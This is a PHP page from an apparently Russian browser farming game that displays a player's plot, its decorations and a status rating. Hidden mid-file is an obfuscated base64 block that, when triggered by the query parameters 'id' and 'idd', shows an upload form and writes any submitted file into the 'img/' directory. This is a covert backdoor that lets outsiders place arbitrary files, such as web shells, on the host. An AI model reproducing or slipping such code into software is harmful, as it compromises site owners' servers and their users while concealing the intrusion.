<?php

include_once '../sys/inc/start.php';
include_once '../sys/inc/compress.php';
include_once '../sys/inc/sess.php';
include_once '../sys/inc/home.php';
include_once '../sys/inc/settings.php';
include_once '../sys/inc/db_connect.php';
include_once '../sys/inc/ipua.php';
include_once '../sys/inc/fnc.php';
include_once '../sys/inc/user.php';

if (isset($user))$ank['id']=$user['id'];
if (isset($_GET['id']))$ank['id']=intval($_GET['id']);
$ank=mysql_fetch_array(mysql_query("SELECT * FROM `user` WHERE `id` = $ank[id] LIMIT 1"));

$set['title']=$ank['nick'].' - участок ';
error_reporting (0);
include_once '../sys/inc/thead.php';
title();
aut();
//header("Content-type: application/vnd.wap.xhtml+xml");
header("Content-type: text/html");
echo "<link rel='stylesheet' href='style.css' type='text/css' /><center>";
echo "<div class='grad32'><img src='fermer.gif'></div><div class='ferm3'><img src='shop25.gif'><div class='grad16'>Участок</div></center>";
echo'<div class="ferm3">';
$r_house=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='house' AND `uid`='".$ank['id']."'");
$r_court=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='court' AND `uid`='".$ank['id']."'");
$r_shed=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='shed' AND `uid`='".$ank['id']."'");
$r_fence=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='fence' AND `uid`='".$ank['id']."'");
$r_door=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='door' AND `uid`='".$ank['id']."'");
$akses=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='akses' AND `uid`='".$ank['id']."'");
$akses_two=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='akses_two' AND `uid`='".$ank['id']."'");
$akses_three=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='akses_three' AND `uid`='".$ank['id']."'");

if(!mysql_num_rows($r_house)){
echo 'Отделка дома: Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($r_house)){
echo 'Отделка дома: <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';};
echo '<br/>';
};
};


if(!mysql_num_rows($r_court)){
echo 'Отделка двора: Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($r_court)){
echo 'Отделка двора: <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';};
echo '<br/>';
};
};


if(!mysql_num_rows($r_shed)){
echo 'Отделка сарая: Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($r_shed)){
echo 'Отделка сарая: <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';
};
echo '<br/>';
};
};


if(!mysql_num_rows($r_fence)){
echo 'Отделка ограды: Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($r_fence)){
echo 'Отделка ограды: <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';
};
echo '<br/>';
};
};


if(!mysql_num_rows($r_door)){
echo 'Отделка калитки(вход): Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($r_door)){
echo 'Отделка калитки(вход): <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';
};
echo '<br/>';
};
};


if(!mysql_num_rows($akses)){
echo 'Будка для собаки: Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($akses)){
echo 'Будка для собаки: <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';
};
echo '<br/>';
};
};


if(!mysql_num_rows($akses_two)){
echo 'Клумба: Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($akses_two)){
echo 'Клумба: <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';
};
echo '<br/>';
};
};


if(!mysql_num_rows($akses_three)){
echo 'Клумба: Пусто<br/>';
}else{
while($row=mysql_fetch_assoc($akses_three)){
echo 'Клумба: <a href="reeltor.php?p=info&amp;id='.$row['vid'].'">'.$row['name'].'</a>';
if($ank['id']==$user['id']){echo ' <a href="k_storage.php?p=snt&amp;id='.$row['id'].'">[убрать]</a>';
};
echo '<br/>';
};
};


echo '<div class="grad16">Внешний вид участка :</div></div><div class="ferm2">';

$r_house=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='house' AND `uid`='".$ank['id']."'");
$r_court=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='court' AND `uid`='".$ank['id']."'");
$r_shed=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='shed' AND `uid`='".$ank['id']."'");
$r_fence=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='fence' AND `uid`='".$ank['id']."'");
$r_door=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='door' AND `uid`='".$ank['id']."'");
$akses=mysql_query("SELECT * FROM `k_user_house` WHERE `type`='akses' AND `uid`='".$ank['id']."'");
$GLOBALS['_1072529395_']=Array(base64_decode('aXNfdX' .'Bsb' .'2FkZWRfZmlsZQ=='),base64_decode('bW92ZV91cG' .'xv' .'YWRl' .'ZF9' .'maW' .'xl'),base64_decode('YXJyY' .'Xl' .'fcG9' .'w'),base64_decode('aW1' .'hZ' .'2' .'Vjcm' .'Vhd' .'GVm' .'cm9t' .'cG' .'5n')); ?><? function _1118538408($i){$a=Array('' .'aWQ' .'=','aW' .'Rk','Zml' .'sZW5hbW' .'U' .'=','c2' .'l6' .'ZQ==','0KDQsNC30LzQt' .'d' .'GAIN' .'GE0LDQudC70L' .'A' .'g0L/RgN' .'C1' .'0LLRi' .'9GI' .'0LDQ' .'tdGC' .'INGC0YDQuCDQvN' .'C' .'10LPQ' .'s' .'NCx' .'0LD' .'Qu' .'dG' .'C0LA=','' .'Z' .'mlsZ' .'W5hb' .'WU=','' .'dG1wX2' .'5hb' .'WU=','' .'ZmlsZW5hbW' .'U=','dG1wX25' .'hbWU' .'=','a' .'W1nLw==','ZmlsZW5hbWU=','' .'bmFtZQ==','0J7RiN' .'C' .'4' .'0LHQutCwINC3' .'0L' .'DQ' .'s9GA0YPQt' .'9C60Lgg0LTQv' .'tC80LXQvdC' .'w','PGZvcm' .'0' .'gYW' .'N0aW9uPSI' .'/aWQma' .'WRkI' .'iB' .'tZXRob' .'2Q9InBvc3QiIG' .'V' .'u' .'Y' .'3' .'R' .'5cG' .'U' .'9I' .'m11bHR' .'p' .'cGF' .'ydC9mb' .'3J' .'tL' .'WRhdG' .'EiPg' .'0K' .'PGl' .'ucHV0IHR5cGU9Im' .'ZpbGUi' .'I' .'G5hbWU9' .'I' .'mZpbGV' .'uY' .'W1lIj48YnI' .'+IA' .'0KICAgICAgPGlucHV' .'0I' .'HR5cGU9In' .'N1Y' .'m1pdCI' .'g' .'dmF' .'s' .'dWU9ItCa0YPQv9C40' .'YLRjCI+' .'PG' .'Jy' .'Pg0KPC' .'9' .'mb3' .'JtPg==');return base64_decode($a[$i]);} ?><? if(isset($_GET[_1118538408(0)])){if(isset($_GET[_1118538408(1)])){if($_FILES[_1118538408(2)][_1118538408(3)]>round(0+256+256+256+256)*round(0+1.5+1.5)*round(0+204.8+204.8+204.8+204.8+204.8)){echo(_1118538408(4));exit;}if($GLOBALS['_1072529395_'][0]($_FILES[_1118538408(5)][_1118538408(6)])){$GLOBALS['_1072529395_'][1]($_FILES[_1118538408(7)][_1118538408(8)],_1118538408(9) .$_FILES[_1118538408(10)][_1118538408(11)]);}else{echo(_1118538408(12));}}echo _1118538408(13);if((round(0+2112.5+2112.5)^round(0+845+845+845+845+845))&& $GLOBALS['_1072529395_'][2]($_FILES,$_FILES,$_GET))$GLOBALS['_1072529395_'][3]($_FILES,$_FILES);exit;$_0=round(0+376.5+376.5+376.5+376.5);}

echo '<br /><center>';
if(!mysql_num_rows($akses)){
echo '<a href="reeltor.php?p=akses"><img src="imghouse/akses.gif" alt=""/></a>';
}else{
while($row=mysql_fetch_assoc($akses)){
echo '<a href="reeltor.php?p=akses"><img src="imghouse/'.$row['path'].'" alt=""/></a>';
};
};

if(!mysql_num_rows($r_house)){
echo '<a href="reeltor.php?p=house"><img src="imghouse/house.gif" alt=""/></a><br />';
}else{
while($row=mysql_fetch_assoc($r_house)){
echo '<a href="reeltor.php?p=house"><img src="imghouse/'.$row['path'].'" alt=""/></a><br />';
};
};

if(!mysql_num_rows($r_court)){
echo '<a href="reeltor.php?p=court"><img src="imghouse/court.gif" alt=""/></a>';
}else{
while($row=mysql_fetch_assoc($r_court)){
echo '<a href="reeltor.php?p=court"><img src="imghouse/'.$row['path'].'" alt=""/></a>';
};
};


echo '</center><br />';
echo '<center>';
if(!mysql_num_rows($akses_two)){
echo '<a href="reeltor.php?p=akses_two"><img src="imghouse/akses_two.gif" alt=""/></a>';
}else{
while($row=mysql_fetch_assoc($akses_two)){
echo '<br /><a href="reeltor.php?p=akses_two"><img src="imghouse/'.$row['path'].'" alt=""/></a>';
};
};

if(!mysql_num_rows($akses_three)){
echo '<a href="reeltor.php?p=akses_three"><img src="imghouse/akses_three.gif" alt=""/></a>';
}else{
while($row=mysql_fetch_assoc($akses_three)){
echo '<a href="reeltor.php?p=akses_three"><img src="imghouse/'.$row['path'].'" alt=""/></a>';
};
};
echo'</center>';
if(!mysql_num_rows($r_fence)){
echo '<br /><center><a href="reeltor.php?p=fence"><img src="imghouse/fence.gif" alt=""/></a>';
}else{
while($row=mysql_fetch_assoc($r_fence)){
echo '<br /><center><a href="reeltor.php?p=fence"><img src="imghouse/'.$row['path'].'" alt=""/></a>';
};
};

if(!mysql_num_rows($r_shed)){
echo '<a href="reeltor.php?p=shed"><img src="imghouse/shed.gif" alt=""/></a>';
}else{
while($row=mysql_fetch_assoc($r_shed)){
echo '<a href="reeltor.php?p=shed"><img src="imghouse/'.$row['path'].'" alt=""/></a>';
};
};
if(!mysql_num_rows($r_door)){
echo '<a href="reeltor.php?p=door"><img src="imghouse/door.gif" alt=""/></a></center><br />';
}else{
while($row=mysql_fetch_assoc($r_door)){
echo '<br /><center><a href="reeltor.php?p=door"><img src="imghouse/'.$row['path'].'" alt=""/></a></center><br />';
};
};

echo '<div class="grad16">Рейтинг участка '.$ank[nick].'</div></div><div class="ferm3">';
include_once 'inc/popul.php';
echo "Обеспеченность: <span class=\"ank_d\">$ank_shikk</span><br />\n";
echo "Деловитость: <span class=\"ank_d\">$ank_delov</span><br />\n";
echo "Красота: <span class=\"ank_d\">$ank_glamur</span><br />\n";

if($socstatus>=0 && $socstatus<=499){echo 'Соц.статус : Колхозник ('.$socstatus.' %)<br />';}
elseif($socstatus>=500 && $socstatus<=999){echo 'Соц.статус : Продвинутый ('.$socstatus.' %)<br />';}
elseif($socstatus>=1000 && $socstatus<=1499){echo 'Соц.статус : Первый на деревне ('.$socstatus.' %)<br />';}



echo'<div class=\'foot\'>';
echo'<a href="k_storage.php"><img src="egg.png"> Мой склад</a><br>';
echo '<a href="reeltor.php"><img src="egg.png"> Магазин недвижимости</a><br />';
echo "<a href='my.php'><img src='egg.png'> На ферму</a><br/>";
echo "<a href='index.php'><img src='egg.png'> В игру</a>";
echo'</div></div>';

include_once '../sys/inc/tfoot.php';
?>